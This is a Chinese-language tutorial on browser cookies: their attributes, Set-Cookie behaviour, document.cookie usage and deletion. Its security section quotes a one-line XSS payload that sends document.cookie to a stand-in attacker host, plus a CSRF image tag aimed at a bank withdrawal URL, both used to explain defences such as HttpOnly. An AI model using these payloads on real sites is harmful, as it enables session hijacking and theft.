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前端须知的 Cookie 知识

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cookie 是什么和使用场景

cookie 是服务器端保存在浏览器的一小段文本信息，浏览器每次向服务器端发出请求，都会附带上这段信息（不是所有都带上，具体的下文会介绍）。

使用场景：

  • 对话管理：保存登录、购物车等需要记录的信息
  • 个性化：保存用户的偏好，比如网页的字体大小、背景色等等
  • 追踪：记录和分析用户的行为

以上用得较多的还是第一种场景。

我们有时候用 cookie 作为客户端储存，可行但不推荐。因为 cookie 本身大小有所限制，而且会影响性能。存储还是应该考虑 localStorage 、sesseionStorage 或者 indexDB

相关问答

Q1: cookie 的几个重要属性

在了解各个属性之前，我们先打开浏览器调试——Application——Cookies——选中一个域。

上面就会有这些 cookie 的名称，值，Domain，Path，Expires/Max-age，Size，HTTP，Secure。

我们接下来就是要讲这里面几个重要的点：

Expires 和 Max-Age

这两个属性涉及到 cookie 的存活时间。

Expires 属性指定一个具体的到期时间，到了这个指定的时间之后，浏览器就不再保留这个 cookie ,它的值是 UTC 格式，可以使用 Date.prototype.toUTCString() 格式进行转换。

设置如下：

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Max-Age 属性制定了从现在开始 cookie 存在的秒数，比如 60 * 60 * 24 * 365（即一年）。过了这个时间以后，浏览器就不再保留这个 Cookie。

Max-Age 的优先级会比 Expires 的高，主要的原因 Max-Age 所受的外界因素（比如客户端的时间可能有误）比较小。

如果两者都不设置的，那么这个 cookie 就是Session Cookie，也一旦关闭浏览器，浏览器就不会保留这个这个 cookie。

Domain 和 path

这两个属性决定了，HTTP 请求的时候，哪些请求会带上哪些 Cookie，具体下面会做讲解。

Secure 和 HttpOnly

Secure 属性指定浏览器只有在加密协议 HTTPS 下，才能将这个 Cookie 发送到服务器。另一方面，如果当前协议是 HTTP，浏览器会自动忽略服务器发来的 Secure 属性。该属性只是一个开关，不需要指定值。如果通信是 HTTPS 协议，该开关自动打开。

设置了 Secure 这个属性，那么就会在 Secure 这一栏打钩。

HttpOnly 属性指定该 Cookie 无法通过 JavaScript 脚本拿到，主要是 Document.cookie 属性、XMLHttpRequest 对象和Request API都拿不到该属性。这样就防止了该 Cookie 被脚本读到，只有浏览器发出 HTTP 请求时，才会带上该 Cookie。

设置了 HttpOnly 这个属性，那么就会在 HTTP 这一栏打钩

Q2: cookie 和 HTTP 协议

HTTP response——cookie 生成

如果服务器端希望在浏览器种 cookie,那么它只需要在 HTTP 请求头信息中，放置一个 Set-Cookie 的字段。举个例子：

Set-Cookie:foo=bar

那么就会在浏览器种保存一个名为 foo，值为 bar 的 cookie。

除了值之外，还可以设置其他的属性。

Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

当然，一个 Set-Cookie 字段是可以同时包含多个属性(而且没有次序要求)，如下所示：

Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly

注意一点就是，如果你想要使用 Set-Cookie 修改一个已经存在的 cookie 的值，那么要注意，你必须匹配原有的所有的属性值（如果存在的话），否则就会生成一个新的 cookie，而不是修改它的值。

比如，原有的 cookie 为：

Set-Cookie: key1=value1; domain=example.com; path=/blog

那么你正确的修改方式应该是：

Set-Cookie: key1=value2; domain=example.com; path=/blog

如果你的修改方式如下的话：

Set-Cookie: key1=value2; domain=example.com; path=/

就会在浏览器端设置两个同名的 cookie 如下：

Cookie: key1=value1; key1=value2

这不是我们希望看到的！

HTTP request——cookie 发送

这里涉及到一个问题，是不是每个请求我们都会带上所有的 cookie，显然不是的，要不性能就会十分低下了。那么浏览器是根据什么判别哪些请求会带上哪些 cookie 呢？

这就跟 Domain 和 path 属性息息相关了

比如，现在一个 cookie 它的 Domain 属性为 www.example.com，path 属性值为 /。意味着，这个 cookie 对该域的根路径以及它的所有子路径都有效。如果我们修改了它的 path 值，为 /forums，那么这个 cookie 只要在访问 www.example.com/forums 及其子路径时才会带上。

Q3: cookie 和安全

会话劫持和XSS

在 Web 应用中，cookie 常用来标记用户或授权会话，如果这些信息（cookie）会被窃取，可能导致授权用户的会话从而网页收到攻击，比如：

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly 类型的 cookie 就可以组织 Js 对其的访问从而缓解这种攻击

跨站点请求伪造（CSRF）

比如某个网站的图片如下：

<img src="http://bank.example.com/withdraw?account=bob&amount=&for=mallory">

当你打开这个图片的时候，如果你登录之前的银行账号而且 cookie 仍然有效（还没有其他验证的步骤，有点极端），那么你的账户就有可能有危险了。

Q4: cookie 自动删除和手动删除

在了解 cookie 自动删除之前，我们先来了解小 cookie 的一些限制条件：

  • 发送到服务器端的所有 cookie 的最大数量不能超出 4kb，所有超出该限制的 cookie 都会被截断并且不会发送到服务器端。
  • IE7 以后限制每个域名下 cookie 的数量不得超过 50 个，Opera 限定 cookie 的数量为 30个，Safari 和 Chrome 就没有这种限制。

其限制的原因，主要在于阻止 cookie 的滥用，而且 cookie 会被发送到服务器端，如果数量太大的话，会严重影响请求的性能。以上这两个限制条件，就是 cookie 为什么会被浏览器自动删除的原因了。

自动删除主要存在以下几种可能：

  • 会话 cookie(session cookie)在会话结束的时候（浏览器关闭）会被删除。
  • 持久化 cookie(Persistent cookie)在到达失效日期的时候会被删除。
  • 浏览器的 cookie 达到上限，会自动清除，然后为新建的 cookie 腾出空间。

Q5: document.cookie

对于前端而言，我们获取 cookie 和设置 cookie 都是通过 document.cookie 的方式进行的。

获取如下（当然是这个 cookie 没有 HttpOnly 属性）。

可以看到，document.cookie 是将所有的可以读的 cookie 一次性读出来的，使用分号分割，所以必须手动的分割。

var cookies = document.cookie.split(';');

for (var i = 0; i < cookies.length; i++) {
  console.log(cookies[i]);
}
// foo=bar
// baz=bar

写入cookie

我们可以通过 document.cookie 为当前的网站添加 cookie

document.cookie = 'fontSize=14';

写入的时候，Cookie 的值必须写成 key=value 的形式。注意，等号两边不能有空格。另外，写入 Cookie 的时候，必须对分号、逗号和空格进行转义（它们都不允许作为 Cookie 的值），这可以用 encodeURIComponent 方法达到。

但是，document.cookie一次只能写入一个 Cookie，而且写入并不是覆盖，而是添加。

document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world

写入 Cookie 的时候，可以一起写入 Cookie 的属性。

例如：

document.cookie = 'fontSize=14; '
  + 'expires=' + someDate.toGMTString() + '; '
  + 'path=/subdirectory; '
  + 'domain=*.example.com';

删除一个现存 Cookie 的唯一方法，是设置它的 expires 属性为一个过去的日期。

document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';

Q6: 参考

https://javascript.ruanyifeng.com/bom/cookie.html#toc5

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies

https://segmentfault.com/a/#articleHeader6

https://javascript.ruanyifeng.com/bom/cookie.html#toc5